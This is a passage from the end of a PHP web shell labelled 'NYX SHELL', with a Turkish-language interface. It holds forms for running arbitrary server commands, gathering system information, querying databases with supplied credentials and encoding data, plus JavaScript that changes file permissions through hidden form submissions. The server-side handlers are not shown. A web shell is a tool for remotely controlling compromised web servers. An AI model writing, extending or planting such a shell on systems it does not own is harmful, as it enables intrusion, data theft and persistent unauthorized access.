            <button type="submit" name="nx_command">▶ Calistir</button>
          </form>
        </div>

        <div class="card">
          <h4>Sistem Bilgileri</h4>
          <form method="post">
            <?php echo $csrfField; ?>
            <button type="submit" name="nx_sysinfo">ℹ Bilgileri Getir</button>
          </form>
        </div>

        <div class="card">
          <h4>Veritabani Sorgu</h4>
          <form method="post">
            <?php echo $csrfField; ?>
            <div class="row">
              <input type="text" name="db_host" placeholder="Host" value="localhost" class="inp">
              <input type="text" name="db_user" placeholder="Kullanici" class="inp">
              <input type="password" name="db_pass" placeholder="Sifre" class="inp">
              <input type="text" name="db_name" placeholder="Veritabani" class="inp">
            </div>
            <textarea name="db_query" placeholder="SELECT * FROM tablo LIMIT 10" rows="3" class="full" required></textarea>
            <button type="submit" name="nx_db_query">⛁ Sorgula</button>
          </form>
        </div>

        <div class="card">
          <h4>Kod Donusturucu</h4>
          <form method="post">
            <?php echo $csrfField; ?>
            <select name="helper_tool" class="sel">
              <option value="b64e">Base64 Encode</option>
              <option value="b64d">Base64 Decode</option>
              <option value="md5">MD5</option>
              <option value="sha1">SHA1</option>
              <option value="sha256">SHA256</option>
              <option value="urle">URL Encode</option>
              <option value="urld">URL Decode</option>
              <option value="hexe">Hex Encode</option>
              <option value="hexd">Hex Decode</option>
            </select>
            <input type="text" name="helper_input" placeholder="Girdi" class="inp">
            <button type="submit" name="nx_helper">⇄ Donustur</button>
          </form>
        </div>

      </div>
    </details>
  </div>

  <?php endif; ?>

  <?php if ($actionOutput !== ''): ?>
  <div class="panel">
    <div class="out-wrap">
      <h3>Islem Ciktisi</h3>
      <div class="out"><?php echo nx_escape($actionOutput); ?></div>
      <div class="out-acts">
        <form method="post">
          <?php echo $csrfField; ?>
          <button type="submit" name="nx_clear" class="btn">✕ Temizle</button>
        </form>
      </div>
    </div>
  </div>
  <?php endif; ?>

  <div class="foot">NYX SHELL v<?php echo NYX_VERSION; ?> · <b>Katane Arqeen</b> &amp; <b>Real Arqeen</b></div>

</div>

<script>
(function(){
  'use strict';

  document.addEventListener('click', function(e){
    var el = e.target.closest('.perm');
    if (!el) return;
    var name = el.getAttribute('data-name');
    var cur  = el.getAttribute('data-perm');
    if (name === null) return;
    var p = prompt('Yeni izin (ornek: 0644, 0755):', cur || '');
    if (p === null || p === '') return;
    if (!/^0?[0-7]{3}$/.test(p)) { alert('Gecersiz format.'); return; }
    var csrf = document.querySelector('input[name="nx_csrf"]');
    var csrfVal = csrf ? csrf.value : '';
    var f = document.createElement('form');
    f.method = 'post'; f.style.display = 'none';
    var a = document.createElement('input'); a.type='hidden'; a.name='chmod_name'; a.value=name;
    var b = document.createElement('input'); b.type='hidden'; b.name='chmod_perm'; b.value=p;
    var c = document.createElement('input'); c.type='hidden'; c.name='nx_csrf'; c.value=csrfVal;
    var d = document.createElement('button'); d.type='submit'; d.name='nx_chmod';
    f.appendChild(a); f.appendChild(b); f.appendChild(c); f.appendChild(d);
    document.body.appendChild(f); f.submit();
  }, false);

  document.addEventListener('submit', function(e){
    var form = e.target;
    var msg = form.getAttribute('data-confirm');
    if (msg !== null) {
      if (!window.confirm(msg)) {
        e.preventDefault();
        return false;
      }
    }
  }, true);

})();
</script>

</body>
</html>

mono play